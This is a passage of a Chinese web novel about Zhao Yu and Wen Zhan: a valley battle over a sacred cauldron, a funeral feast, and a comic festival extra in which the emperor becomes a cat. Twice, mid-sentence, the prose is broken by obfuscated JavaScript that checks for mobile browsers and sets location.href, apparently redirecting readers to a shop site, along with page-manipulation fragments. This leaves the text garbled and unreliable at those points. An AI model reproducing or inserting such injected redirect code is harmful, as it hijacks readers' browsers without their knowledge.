一旦铸成,今后想要扭转,则须耗费较之前所需倍数之功,难亦。” 那些深谙权谋的人,比如石慎,比如徐玚,惯于权衡,惯于舍弃,极聪明,可连花骨朵一个十三岁的孩子都知道,天下之大,世事之繁杂,人心之险诈,单凭一己之力权衡,如何确保这个抉择可以经得起人心,经得起时间的考验?(101章) 他们都以为赵毓秉持的公正是奢侈,仅仅是他作为先帝长子的任性与特权。 自反而缩,虽千万人,吾往矣。 其实这更是一场豪赌。 赵毓将自己甚至连同文湛的性命一起押上的豪赌。 他自己固然可以千算万算,就看老天这一算,放不放他一条生路。 文湛听完,微微垂了眼睫,忽地莞尔一笑,“好。”说着侧身,让赵毓爬上他的后背,“你现在不舒服,这段路我背你走,等到前面河流,歇息一下,我给你煮罐草药。临来的时候,我让谢翾飞给你准备蜜丸,还没做好,所以我就带了几包药草进来了。” 赵毓,“文湛,我,呃……原本我一条性命不算什么,虽然不是帝裔,可终究吃了老爹这么多年的热乎饭,总要当真做些什么才不愧对列祖列宗,但是连累你,我……” 赵毓声音很轻柔,文湛感觉到,哥哥的气息就在自己脖颈,仿佛此处山峦层叠之处的水雾一般的缥缈。 不过他自己的气息倒是很平稳,“嫁鸡随鸡嫁狗随狗,既然入了哥哥家门,这就只能如此被你连累了。只是,哥哥不要再贪多,去连累别人就好。” 赵毓,“呃……” 姬姓诸王进入禁地,首先要取‘圣地’之‘圣物’。 看史料,那应该是一方鼎。 青铜锻造,雕刻着繁复纹饰和庄严铭文。当真是繁密处如星罗棋布,疏朗处显天地留白,呈现出‘礼’的秩序与森严;鼎上刻印的铭文依旧是先王功业与天命训诫,即使这些都是假的。 茂密丛林如巨蟒盘踞山体,山风裹挟潮湿雾气扑面而来。 戎久安用手中的剑劈开眼前狰狞缭绕的巨大树根,喘口气,把剑尖垂下,支着地面,“还有多远到那个什么活见了鬼的圣地?” “不知道。”石慎他将戎久安的箭筒拿过来,“从方志上看,这条路最近,但是到底要走多远,没标。” 戎久安,“老石,你说咱们能活着出猎场吗?” 石慎,“谋事在人成事在天,不知道。” 戎久安,“出了猎场,你去哪儿?” “北境。”石慎毫不避讳,“石氏几代人都在北境,生生死死,也算树大根深。” “我也得去那。”戎久安,“我们家老爷子在雍京把路走绝了,只有北境还有一支戎家的军队,算是最后一条退路,希望我活着过去的时候,他们还没有被高昌王杀绝。不过老石……” 石慎看着他。 戎久安,“你说咱们和高昌王有结盟的可能吗?” 石慎则说,“我之前不在雍京,不太了解他和赵毓的关系,依你看,他们的人情能什么程度,能决裂到什么程度?” 戎久安则冷笑,“殷忘川受重伤之后,就是当年祈王府的一个玩意儿,以高昌王心高气傲,受辱至此,和赵毓能有个什么人情。” 石慎,“我可听说,在微音殿中,内阁面前,赵毓极护着这位。” “祈王风流成性。”戎久安,“内阁的传闻,那些也不过是兰芝社顾澹查伊瑝二相的权谋。要说赵毓多长情,说不上,这些年他风流债多了。你就没听说,他回雍京之后身边一直有个小白脸儿?” 石慎忽然问,“你们戎家在北境的军队,统帅可是你小叔戎衷?听说具备名将之才。” 戎久安,“他不过是我祖父侍婢所出,原本是奴仆,过继给四房这才有个嫡出的名分。名将不名将的无所谓,他姓戎,才有领兵的机会。” 石慎点头,随后戎久安继续披荆斩棘。 而石慎则在他身后看着他。 只是那眼神,仿佛在看一个死人了。 檎到河边的时候正好看见文湛支着柴火堆架着罐子熬药,而他那个哥哥就坐在一旁看着他。 檎,“这罐子是哪里来的?” 文湛头也没抬,眼睛就盯着罐子,那才是他最重要的事情,“附近很多村子都空了,一个干净的罐子并不难找。” 对呀,很多村子都空了,有的死绝了,有的都逃跑躲起来了。 檎并没有刨根问底这个罐子是从哪里寻摸来的,她看文湛这个样子,怎么着也不像是从死人堆里刨东西的人,于是在河边洗了洗自己手上的泥土和血迹,才问文湛,“粮仓保住了,多谢。大巫说让人带你们去圣地,可你们为什么在这里煮东西,一点不着急呢?” 她对文湛说话,眼睛却一直看着赵毓,而这一次赵毓没有冲着她笑,甚至没有看她,只是昂着头,看河谷上的天。 忽然,一只端着土陶碗的手,挡住了檎盯着赵毓的视线。 粗布的袖子,衬着这只手很特别。 白、细,颜色温润却极有力道,似乎轻易就可以扼住一头猛兽的咽喉,捏到粉碎,犹如被大巫世世代代供奉于祭坛之上的昆仑玉雕利箭。 随后,他人也站了过来,将赵毓遮得异常严实,檎看不到了。 檎抬头,看着文湛说,“你哥哥,他在看什么?” 文湛没说话。 檎又说,“其实,他要是愿意,留在我们这里多好。” 文湛,“我哥哥不会娶你们任何一个姑娘。” “不,不是。”檎却说,“他可以做祭司,他比大巫更像神仆。我从来没见过一个男人眼神淡漠却不冰冷,是温和的,带着慈悲。” 文湛,“我哥哥不信鬼神。” “那不更好?”檎,“我奶说了,大巫真信虚无缥缈的鬼神,所以他太笨,一惊一乍,时而哭哭啼啼如同一小儿,时而神神叨叨如同一老朽,当然,他本身就是老朽。可是,我总觉得就算神鬼虚幻,可侍奉神明的祭司不应该是他那个样子,他那样的,我都嫌弃他,神明又怎么会垂怜呢?” “文湛。”赵毓忽然问,“你们在说什么?” 那种古老的音调,他听不懂。 文湛淡淡回了一句,“她问你,要不要去跳大神。” 赵毓连忙摆手,“我可不做神棍。” “嗯。”文湛面对檎忽然笑了,“我哥哥说了,他不做神棍。” “呃……” 檎看着这个男人,他其实很好看,比他哥哥还要好看,但是太瘆人了。 尤其是他的笑,好像这里罕见的一场冬雪。 盈润璀璨,却是一片肃杀。 无人生还。 190. 190 190 檎以为自己过来寻到文湛和他那个哥哥,他们会异常焦急,并且立刻马上跟随自己去圣地,可是这俩人却很反常,不但不着急,反而很是有些悠闲。 那个哥哥喝着药汤子,甚至还有野果子吃。 檎,“要是去晚了,圣物被人抢了,你们还剩下啥?告诉你哥哥,那个野果子有些涩,得剥皮,……,哦,你把果皮已经给你哥哥扒了呀!可是没扒干净,还有些残渣,不然不会是这么个不红不绿的样子。” 文湛忽然反问,“你平时对你奶奶,也是如此聒噪?” “那不成。”檎,“我奶上了年纪,喜爱安静,食不言寝不语,不食不寝的时候,她也不让我说。我平时只能对着猫聒噪。” 文湛,“……” 赵毓喝了药,感觉好了一些,文湛只收拾了几粒野果子,罐子和熬煮过的草药都弃了,这才开始跟着檎向着圣地走。 他们走得很慢就算了,甚至还带着一些游山玩水的怡然自得。 过了一片密林,哑女带着人等在路边。所有人对于文湛赵毓走路不急不慌甚至可以说非常缓慢这件事儿很是不解,但是一想,去拿‘圣物’终究是文湛提出来的条件,一切以他们为主,所以慢慢跟着他的步子就成。 檎长久不在村子里住,她这一次看见哑女能说话很是惊异,但是一直没有时机问问这是怎么回事,这会儿,文湛又不和她说话,只是与他那个哥哥窃窃私语。 她其实一直想近身看看赵毓,如今被文湛严防死守没有机会,于是就凑到哑女身边,“哑巴,你们家世代打铁,你知道圣物是个什么样子?是棍子、刀枪这样的武器,还是罐子这样的器皿,又或者是我们根本没见过的物件?” 可哑女依然继续哑巴着,也不开口。 又走了一段路,檎这才发现,其实文湛走得慢是因为他那个哥哥身体不好,而且似乎好像是忽然之间变不好的,她记得之前自己在村外家中遇到他们的时候,那位哥哥虽然并不强壮,但也不是眼前这个带着虚弱的样子。 “前面还需走很长一段山路。”檎问文湛,“很是辛苦,不如让你哥哥在这里等我们,反正从圣地出来,还要取道这条回头路,你问问他?” “不用。”文湛说,“我哥哥自然同我在一起。” “他是你的哥哥。”哑女突然说起来雍京官话,“不是你的禁|脔,你应该问问他,再做决定。” 而这话赵毓也听懂了,极意外,看向文湛,“怎么了?” “没什么。”文湛自然不多言。 一时之间,四下无话。 可赵毓却敏锐感觉到有些不太和谐的样子,“人家一直帮我们,要表示感谢。你得温和一些,人家都是小姑娘。” “大郑的小姑娘遵从礼教,可不会总盯着别人的哥哥。”文湛嘀咕了一句,却从善如流,立刻转向檎和哑女,笑了,“温和。” 而她们俩,则被文湛笑得毛骨悚然。这一次,连哑女都不哑巴了,“嘶……” 传说中的‘圣物’就像传国玉玺。得到它就意味着成为禁地的‘王者’,可以号令群雄。檎他们对于文湛不急不慌很是不解,就是因为‘圣物’一旦有了归属,无论多少人归顺其主都是天经地义。再想取它,需面对敌人不仅仅是闯入的姬姓诸王,而是整个禁地的战力。 赵毓问,“文湛,这个圣物究竟被弄成了个啥物件?” 文湛,“鼎。” “啊?”赵毓不解,“为啥不弄成个玉玺的样子,以大篆镌刻上‘受命于天,既寿永昌’,看着也能唬人?” “不知道。”文湛忽然停下脚步,他将自己与摇光在哥哥面前互换身份时戴着的面具拿了出来,“玉玺也好,鼎也好,都是死物,再奢华再尊贵也无用,死物不可代天命!不过将此物铸造成一尊鼎,可能三百年前布局之人也存了一丝好为人师的波谲心肠,以为将传国玉玺换个形状,就能破除一些具备悟性的后代子孙的妄念,不要在所谓的圣地陷入混乱无谓厮杀中,从而白白丢掉性命。” 行至一山谷,骤然平静,似乎连风声都熄了,却透露着诡异、危险,与恢弘。 犹如秦之崤山,赵之长平。 文湛将面具带上,“应该是老熟人。” 继续走,阳光被山谷的峰峦遮挡,投射下斑驳的光影。 文湛以雍京官话对哑女说,“可会用剑?” “会。”哑女不迟疑。 文湛撤下腰间的细剑扔给她,“提防你们身边的‘自己人’,还有……”随即,在哑女和檎有些错愕的表情中,将赵毓拉到身侧,护在身后,“不要连累我哥哥。” 敌人出现了,排成扇形,手中持有各式兵器,眼神凶狠却空洞。 哑女手中是文湛的细剑,而檎则是长弓,警惕地注视着周围。 风骤起。 此地,只听见风吹过兵器发出的轻微啸声。 跟着檎一路救粮仓,并且也跟到此地的村民们,一见这个架势,当即倒戈,手中的刀刃毫无迟疑冲向她们。 有什么即将在这山谷之中拉开帷幕。 哑女此时方反应过来,文湛用雍京官话对她说话本就防着她这边这些‘自己人’,因他本身会说此地的语言。她本来想问文湛怎么就能未卜先知,可是此时文湛无暇回顾,她就用雍京官话问赵毓,“那大叔怎知我族人会临阵反叛?” 赵毓则懵,“大叔,谁?” 文湛忽然轻笑一声,带着凉意,“反叛?小姑娘,你得先有本事收服他们效忠于你,你才有资格指责他们反叛。你那些族人,不过审时度势,仅此而已。” 檎不知道他们说什么,同听懂他们说什么可又不明白他们为什么说话的赵毓面面相觑。 哑女同她解释了。 可赵毓只能看着文湛的后颈。 檎,“可是大叔,你救了我族人的粮仓,也没对他们杀戮,而我们与他们血脉相连。” 听到‘大叔’这个称呼,文湛微微皱眉,“对呀,所以他们不惧怕我们,而且,烧粮仓的,不也是你的族人吗?” 檎,“为什么?” 文湛不再说话,猛然转身,以迅雷不及掩耳之势将一支弩箭直插赵毓身侧不过十步之人咽喉,那人瞬间倒地,而周围的人一动不动,似乎已经被文湛杀人的气势震碎了心智。 此时,文湛眼神浮过刀刃,还有檎和哑女的族人们,甚至没有开口,只是以眼神侧了一下,就能指挥这些已经‘倒戈’之人再次‘倒戈’。而他们似乎被文湛控制了,径自向前,往山谷中继续走了十步,挡成了一堵墙。 “不重要的人,自然先被扔出来填坑。”赵毓对哑女说,“之前,被他们扔出来投石问路的是你和檎,如今,被文湛扔出去的,则是他们。” “文湛?”哑女忽然说,“这大叔名字叫文湛?” 赵毓,“嗯。” 哑女,“不般配。” 赵毓,“啊?” 哑女,“大叔看着是有真本事的人,可惜名字太普通,和他不配。文湛这个名字就像是路边随便摘的,不像得到父母深重情感、殷殷期望的样子。” 文湛听着就想扭身,被赵毓按住了,“童言无忌,童言无忌。” 他气不过,还是来了一句,“好像哑巴这个名字也很一般。” “我不叫哑巴。”哑女忽然说,“我有名字,渊。我爷爷希望我一生平安,吃饭的本领深邃悠远。” 文湛还想说话,被赵毓一把扯住,赶忙对哑女说,“这名字真好,寓意深远,真好……” 哑女问他,“哥哥叫什么?” 赵毓,“毓。这名字是我亲爹死之前取的,那时候我还在我娘肚子里,他不知道我是男是女,可能期待是个姑娘。” 哑女却说,“哥哥是男是女无所谓。” 这话虽然奇怪,可是赵毓依旧笑着说,“我娘也是这样想,她觉得,我是个活物就成。” 檎听不懂他们的雍京官话,只是此时得空,可以多看几眼赵毓,而且哑女还会帮她译两句,不像只有文湛能译的时候那样严防死守。 檎,“一直想跟哥哥多说几句,那个大叔不让,他可小气了。” 赵毓连忙打哈哈,“他腼腆。” 哑女,“大叔不太招人喜欢,所以才嫉妒哥哥。” 远处一支箭劈空而来! 文湛只是稍微挡了一下箭尾,这支铁箭擦着哑女的耳垂直勾勾钉在土面上。 哑女,“……果然小气。” “祈王,二殿下!”远方的声音,随着箭矢也落于此处山谷,“一日不见如隔三秋,你我这三日未曾谋面,却已经过了千座大山、万条江河,君无恙否?” 果然是老熟人,赵毓看不清楚,却听得真切。 是戎久安。 文湛嘀咕了一句,“虽然同在雍京多年,我与他几乎没见过面,知其根底,知其成色,却没怎么听他当面说过话。戎久安此人,声音破裂也就算了,言语怎么如此酸苦?” 他看了檎一眼,极低声音,“那些人从你右边开始数,第三个人头,射碎了他,敢吗?” 檎手中弓箭瞄准文湛所说之人,但有些发抖,咬了咬牙,“不敢。” 文湛叹了口气,虽然很清淡,但是颇为失望的样子。 檎,“我苦练射箭,只想射落最高枝头那枚红果,我不想杀人呀!” 文湛,“如果他们想杀你呢?” “等他们先动手再说吧。”檎虽然知道这些‘族人’仅凭文湛杀一人之威很难长久震慑,可是她此时实在看不出右边第三个有什么不对劲的地方,“大叔,您要是不方便动手,让哥哥动手吧。” 文湛却言,“我哥哥金尊玉贵,杀人此等血腥粗鄙之事,怎可脏了他的手指?” 檎,“……” 哑女,“我们可是妇孺。” 文湛看了看她俩,“你们多大了?” “我俩都不到十四。” 文湛居然点头,“乱世勉强算丁壮。” 说着,他随手一抬,连带着檎手中的箭飞出!正好射中右数第三人右手,一支不大的匕首摔出来。 文湛开口,“今日山谷是危局,也许都活不了,但如有谁敢把刀刃向后,立毙箭矢之下。” 他们所有人,包括檎和哑女,只觉得身体一震! 文湛的声音极特殊,犹如金石相撞,黄钟大吕。 杀伐与慈悲同体,高妙却平近。 使人不由自主向其屈服! 大巫耗尽心血颂念的哀辞祷文不及他百之一二。 他究竟是什么人? 而此时,悬崖之上推出一尊鼎,光华所聚,瑞彩千条。 那就是“圣物”! 围绕在它周围的人,竟然有了一种顺天应时的识时务与绝对正确。 而文湛却注意到赵毓一直没说话,他就在自己身后,却一直沉默着,就问,“怎么了?” 赵毓,“这个阵法……不对。” 耳鬓厮磨的距离,却是冷静的机锋,“我曾在天山遭十六国余孽围攻,当时的地势也如眼前这般,这在兵书上被称为‘绝山依谷’,有的书册上甚至有阵型图谱。但是,实战绝不能纸上谈兵,即使都是扇形的布阵,也需要依据山势有所调整,而眼前这个,就是调整过后的样子,而且眼光和布局极老辣,非宿将不可为。” “我虽对文王家这位世子了解不多,但是看他亲爹那个做派,还有他爷俩在猎场整出的那一出,戎久安就是个草包,顶多绣上一层油光水滑的画皮。但凡他有眼前布阵这种本事,再加上久居雍京的优势,他绝不会把自己折进来,在这里,他就是个耗才。” 文湛,“耗才?” 赵毓,“被耗费的狗才。” 文湛,“……” 赵毓,“他背后有人,而且此人还应是我大郑百战的将军。此时依山布阵呈北斗之相,天枢天璇天玑天权玉衡开阳摇光蜿蜒分布,犹如镐水绵延不绝,上下左右都可相互支撑,只是,……” 他说着,伸手指向天权,引文湛眼光落于彼处,“天权又名文曲,北斗中最暗一颗星,也是阵中最隐秘的一处,这一点应布防最强战力,此阵则为绝杀,眼下他们没有如此强的射杀能力,委实可惜了。” 文湛,“……我可不觉得可惜。” 赵毓,“我曾经见过此阵穷其势,如凤翥龙翔,而眼下,它虽然长了一个相似的模样,却像被拔秃了毛的山鸡落在草坑中,的确可惜。” 文湛却说,“哥哥所说天权位最强战力,不会是那个明明能吃很多碗米饭,很有一把子力气,却总是装柔弱的高昌王吧?” 赵毓,“……他不爱吃米饭,喜烤馕和土豆。” 他声音轻飘飘的,居然带着些柔软!文湛遽然扭脸,擦到赵毓的面颊,却只见赵毓一直看着遥远的山巅。目光所及,似不在尘世。 方才擦着哑女耳边那一箭,应该是对方拼尽全力一击,依旧如此平庸。临时拼凑的山民,自然无法同殷忘川相提并论。高昌王有威震西疆的功业,觊觎华夏的野心,并且具备与之相匹配的战力,方能为北斗阵射出天权光焰万丈的一箭! 如今看来,有些事的确人力所不能为。 山有穷,水有尽。 物是人非。 随后,有微风自左耳处吹过,天空中云卷云舒。 赵毓将文湛手中硬弩抬起直指破军星位,却以情人之间耳鬓厮磨喃喃之音说道,“陛下果真紫微帝星临凡,百神护佑!” 天象变了。 乌云如同浓重的墨一般,层层叠叠堆积,伴随紫色电光闪烁,如蛟龙蜿蜒又似鬼魅窥探。 所有人惊愕地望着天空。 而文湛的手指则控住绷簧,三箭齐发,劈空而去!像是为此番杀戮揭开大幕。 无论是雍京,猎场,还是此处禁地,天象异常皆被视为上天示警与征兆。 风雨打乱一切,箭矢在狂风中失了准头。而对于这些本就信大巫,重祭祀的山民来说,这风雨如晦的景象就如鬼神降临,恐惧更甚于箭矢。 可文湛的武力恐怖如斯。 那是常人难以想象的压制,像巨大而无形的峰峦横亘,可以碾碎任何反抗,斩断一切生机。 所过之处,万物噤声。 檎此时方知,真正的顶级的射手,并不是贪妄最高枝头的红果,而是压制所有人不敢射出锋刃冲向自己的那一枚箭矢!身前这群族人为文湛卖命,而山坡上冲下那些人,那些都是原本曾经围绕在‘圣物’周围的人,此时竟然倒戈冲着持鼎之人。 他们疯了吗? “我说过,死物不可代天命。”文湛此时注意的只有他那个哥哥,他将赵毓稳稳护于身后,乱军厮杀中,那人竟然片草不沾身,“所以去抢那个虚伪的圣物是无用的,以它控人心皆为妄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729048|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念。况且还那么沉,搬它到军前,简直是自掘坟墓。” 还有一句话,檎和哑女却都听不懂。 ——“姬姓王权并非一方美玉雕成的传国玉玺,我大郑千年社稷万里江山皆为天命所归,而天命,……” 他并没有说完,忽然转身看着赵毓,“哥哥爱吃烤馕吗?” 赵毓,“呃……” 文湛定定看着他。 赵毓,“不爱干吃,硬。” 文湛,“一方水土一方人。哥哥金枝玉叶,自然吃不惯乡村野食。” 赵毓,“其实烤馕泡羊汤还是挺香的。” 文湛又看着他。 赵毓,“……我现在也不怎么喝羊汤了,发物。” 文湛微微点点头。 赵毓轻笑,“些许还有点酸……” 文湛,“……” 战后清理战场,那股杀戮的喧嚣方才平息下来。 雨一直没停。 赵毓用袖口掩住口鼻,想要帮忙,可那股味道让他极难受,后退了几步,撞上一截断木,上面粘着的半截手指‘啪嗒’掉进泥里。另还有一截断臂,连着一只残手,五指微拢,掌心握住一枚褪色的香囊,绣着歪斜的两个字。此处虽与雍京隔断三百余年,可这两个字依旧清晰可辨,——平安。 “这是榛姐姐的夫君。”哑女对他说,“我们所有劫后余生的人躲在谷底,我见过她,她保护了我,还为檎说了话。她抱着孩子,那个孩子就用麻布襁褓裹着,一直安睡,没有哭。” 赵毓忽然放开了袖口,想要感受一下此刻真正的味道,一方浓郁迦楠香气的手帕擦了过来,隔断了他与此时弥漫的死亡气味。 文湛用身子挡住他,才对哑女说,“渊对吧,那边你的族人将鼎搬了回来了,你去看看。” 哑女,“我?” 文湛,“你们家不是世代打铁吗?” 哑女,“大叔想要碎鼎?” 文湛,“当然不是。这个东西铸造起来很是麻烦,碎了却颇为可惜,摆放着无用,就让它做它本来应该做的事情吧。” “……”哑女,“那是什么?” 文湛,“煮肉。” 哑女,“啊?” “钟鸣鼎食,鼎本来就是煮肉的器皿。”文湛,“不过这尊鼎也是几百年的老物件了,你去看看,那个锅一样的凹槽里面有没有什么锈斑,毒什么的,给它好好洗洗涮涮。檎已经带人去狩猎了,应该可以满载山珍而归,就用这尊鼎煮肉炖菜,也算犒劳三军。” 哑女走后,文湛也没有说什么,只是给赵毓塞了两颗野果子。 禁地中的山民对于死葬的方式,独钟火葬。 火把燃起时,赵毓望着浓烟,火光,还有扭曲的一切,竟然恍惚见着十四年前初上西北战场的自己。拉莫孔雀河谷堆放以西疆部族骷髅砌的京观,烈焰焚过,风中一片一片柳絮一般的骨灰落下,淌在天山雪水融化的河流中,都是母亲等不回的儿郎,妇人舍不下的深闺梦里人。 不远处蓦然响起钟声。 禁地独有的超度经文,混着焰影,重新将喧嚣燃起。 竟然开始热闹了起来。 雨逐渐停歇了,檎他们回来,猎物同南苑没有太多的不一样,有野鸡,兔子,还有鹿,甚至抬着藤条编织的网,满满都是鱼。火堆烧起来。那尊鼎天然三足,支棱着立在土地上,直接在下面架柴,点火倒水就可以煮食。 “他们这里殡葬风俗真奇怪。”赵毓看着不远不近的山民们,拿来了野果子酿造的酒水,居然开始载歌载舞,“如果不加上旁边那堆人骨,他们就是村歌社鼓,如果加上这堆人骨,他们就是风魔九伯。” 禁地这里缺医少药,十三四岁成年,二十壮年,三十已是垂垂之年,想必早已经习惯了朝生暮死,所以模糊生死的边界,丧事喜办也是一种达人认命的结果。 文湛,“是很稀奇。” 他说话的时候,只是稍微抬了一下眼皮,目光略过那些喧嚣,可是对眼前生死并不感兴趣,人也不似在檎和哑女面前那般温和。 只是冷漠,透入骨髓的冷漠。 随后,他掸了掸粗布袖子上的灰尘,从一直放于身后的包裹中拿出来一件黑色缂丝的猎装,有些潮湿,泡水过后,花纹都胀了,抖了抖,挂在旁边的树枝上。 说,“你身上的衣服穿了一天了,我给你带了一件换洗的,已经洗干净了,就是有些潮,晾一下,干爽了再换。” “嗯。”赵毓点了点头。 良久,…… “文湛。” “嗯?” “你说,我们为他们带来了什么?” 文湛,“东海扬尘。” 赵毓,“他们能为我带来什么?” 文湛,“耗才。” 赵毓,“……” 文湛,“戎久安被押走的时候喊了一句话,‘皇权之下皆为蝼蚁’,我听见了,可是我觉得这句话表述并不是很准确。蝼蚁只不过卑贱,生有时死有命,并不会被白白消耗。” “承怡,你说戎久安是‘耗才’,我觉得这个词更为准确。从禁地出去,马上就会陷入姬姓诸王的厮杀当中。能从禁地中多带一些人出去,就有多一些‘耗才’,在厮杀中用他们填命,你也能多支撑一段时日,同时尽量耗掉诸姬的人马,多一份胜算。” ——“哥哥,大叔!” 少女的声音从不远处传来。哑女和檎捧着蕉叶裹着的烤鱼,还有瓜果,“今天的鱼烤到焦香,很好吃,你们来尝尝!” 像另一个世界的天籁之音。 可在他们的对话中,她们并不算是人,只是猎场逐鹿狩猎中的‘耗才’。 “承怡。”文湛忽然轻声说,“元熙初年主少国疑,你我之间又是那般情形,颇有死生不复相见的架势,所以先帝将你放到西北,也算置之死地而后生。” 他的声音平淡,就像是生宣上的黑色大篆,形容也许如仙露明珠,却是墨渣凝结而成,干枯而死寂。 其实文湛异常敏锐,他能感觉到此时承怡的情感波动,即使已经下定决心,无论承怡想做什么,他都会帮他,也许会打乱自己的部署,可那不过是棋盘上的纷扰,一切可控,而他无法控制的,却是承怡因此受到的伤害。 “承怡,上林王狩争夺北境军权,每一步都要割掉温情,对于那些姬姓王公来说,这些就跟吃饭喝酒一般寻常,可对你来说,这是一条将自己千刀万剐的血腥之路,为了你心目中那个道,值得吗?” 为了北境不再生灵涂炭,值得。 可是眼前这些人同样是无辜芸芸众生。 那样深重的业障,不会因为功均天地、明并日月就消减分毫。 死一人还是死万人,也不过是一场权衡。 这么看,不值得,真不值得。 不过,…… 赵毓说,“文湛,为了你,值得。” 文湛,“我不想你为了我受苦,承怡。” “可是,陛下。”赵毓忽然笑了,“我这辈子受的苦,大抵都是因为你呀。”轻叹一声,“命定的劫,躲不掉的。” “好!”文湛忽也笑了,“既然我是哥哥命定的劫难,那哥哥对我的好,我都受着。” 却之不恭,受之有愧,得之天命! 不劝了,他以后再也不劝承怡了。 生也好,死也好。 终究他们在一起。 191. 番外·端午 甜橙把自己包裹成一个白糯米粽,送给陛下。 湛湛一回寝宫,就看见牙床上躺着一个已经被剥开深绿缂丝锦被的白白嫩嫩的甜橙,胸口挂着两粒大枣。 此时,大湖打开DeepSeek使AI生成下面的段落,大约300字。 结果,几乎一个字都不能用。 AI文如下: 湛湛的脚步在踏入内室门槛时便倏地停住。 并非因为眼前景象陌生,而是因为这“礼物”包装得过于……别致。月光自窗棂斜斜洒入,为那深绿缂丝织就的“粽叶”镀上了一层冷冽华光,更衬得裹在其中的人儿莹白如玉,透着温润的暖。那两粒饱满的、红得发亮的西疆大枣,…… 空气里弥漫着若有似无的甜橙香气,混着新织锦缎特有的气息。 湛湛眸色瞬间转深,像投入石子的寒潭,但他并未立刻上前,反而缓缓踱步,在离床榻五步之遥停下,好整以暇地审视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甜橙又笑了,他把湛湛捧过来,刚想再问问到底怎么了,忽然天幕暗沉了下来,原本旭日将升,此时一片乌云压顶。 一道紫光直接劈进雕花窗,形成一道昊天上帝下达的敕旨: 朕体众生之苦,欲使神谙其辛。今敕紫微帝君下凡历劫十二时辰,托生为狸奴,其间不展神力、不恃仙尊,与凡人同劳共苦,以感苍生艰辛。钦此! 敕旨待甜橙阅后焚尽。 云开日出。 甜橙搂住湛湛小猫咪哈哈哈大笑,气得湛湛又咬了甜橙腮帮子一口。 还是,两粒小小的牙印。 等甜橙抱着湛湛猫咪出寝殿,让人掩了门,黄枞菖看了看他身后,空无一人,有些纳闷。 甜橙说,“这些时日,陛下为了江南的事情一直烦心,让他好好歇息歇息,十二个时辰不要打扰。” 黄枞菖自然不会反驳,只是他看了看被甜橙抱在怀中的湛湛猫咪,很是陌生,又莫名其妙的眼熟,因为那只猫咪,正以一种奇异的眼神看着自己,——离我哥哥远些! “这只猫……”黄枞菖不知道应该说什么,“祖宗,您哪儿抱来的这只猫?” “今儿。”甜橙叹口气,“我一睁眼,他就在这儿了。” 他一边说一边向外走。 黄枞菖,“祖宗,不用早膳了?” “不在这吃了,我去城南。”甜橙抱着猫,走得倒是不慢,一会儿就从寝殿出去,下高台了。 黄枞菖,“城南?去那里做啥?那里三教九流什么人都有,……” 甜橙,“渡劫。” 黄枞菖,“啊?” 既然要渡劫,那么从大正宫到雍京南城就不能骑马坐轿,显得不够虔诚。 甜橙抱着湛湛猫咪在金水桥边,正在想。 要不,走着去? 虽然他们总是祭祀昊天上帝,没事儿就剁开两千牛羊甚至还有人祭牺牲来焚香祷告,祈风调雨顺、天下太平,姿势摆放端正,可事实上满天神佛在这片土地上总是为儒法让步,更不要说在人间圣主面前招摇过市,而人君文湛更是只信苍生不信鬼神。如今,昊天上帝一朝显灵,文湛又化身成为猫咪,虽然很可爱,却带着一种荒诞滑稽的虚假。 会不会,再努力睁开眼睛,这场梦就醒了? 他这么想着,又看了看湛湛猫咪,而猫咪也看着他。 猫咪的圆头圆脑的样子和文湛并不像,但是这一眼看过去,那种傲娇又郁闷的劲儿,简直就和湛湛陛下一模一样。 他又乐了。 湛湛猫咪又气,想要咬甜橙的鼻子尖,不过此时忽然过来一个人。 “大殿下……” 湛湛猫咪二话不说,直接伸出两只前爪,搂住甜橙的脖子。 “呦,原来是洛公。”甜橙倒是很亲切,“我听老黄说了,您这回进京述职,一直住忠良祠。未曾觐见陛下,我也不能跑去看您。咱就说,这么多年没见,您可好呀!” 这人是漕运总督阙河图,字洛书,甜橙就称他为‘洛公’。 此为本朝人杰! 十八岁两榜进士,科甲正途出身。亲爹是江南第一幕府,自他登科就从总督一级的衙门辞了,直接进他后院帮忙。这位奇才从来没在雍京清水衙门混过资历,十年光景一路实缺,从七品知县径直干到二品总督。 而且,他们阙氏是江南沿河阙陈董明四家之首。 再而且,他同甜橙是旧相识。 当年甜橙西北用兵,军饷不够发了债票。分量最重的两笔,一份杜玉蝉认领了,还有一份,就是阙家兜了底。杜玉蝉那里有崔珩的面子,而阙家这边的人情,当真只是看着甜橙这个人了。 如今江南的事务繁杂,官面上的麻烦是官面上的麻烦,可是私下里,阙家对甜橙有恩,甜橙也不是忘恩负义鼠辈,关系也就热络一些。 不然,就算崔珩如今的三等公彼时的三等侯,也休想从阙河图手中抠厨子。 阙家这位人杰虽然与杜玉蝉同出江南,气质却截然不同。杜玉蝉毕竟没有出将入相,装也要装出来恬淡寡欲、有箕山之志,看着貌似萧索了一些,可周身还是浸润了一堆膏粱气息,阙河图不似如此。阙氏江南右族,兴盛逾千年,重圭叠组。阙总督此人,明明骑鹤扬州,却硬生生有一股子清冷气息,像极北境冰封雪飘,将重权文官的雅正与威权合而成一,凝成他阙河图独一无二的气息。 “我很好。”阙河图答了甜橙。 “洛公怎会在此处?” “原本要觐见陛下,只是方才黄秉笔宣旨,今日怕是见不到陛下了。”阙河图向前近了半步,“大殿下可知,是阙某有何过错,惹主上不悦?” 甜橙抱了抱湛湛猫咪,笑了笑才说,“不打紧,没什么事儿。洛公安心在雍京住上几日,走亲访友,您可是天子重臣,陛下也惦记着您呢!” 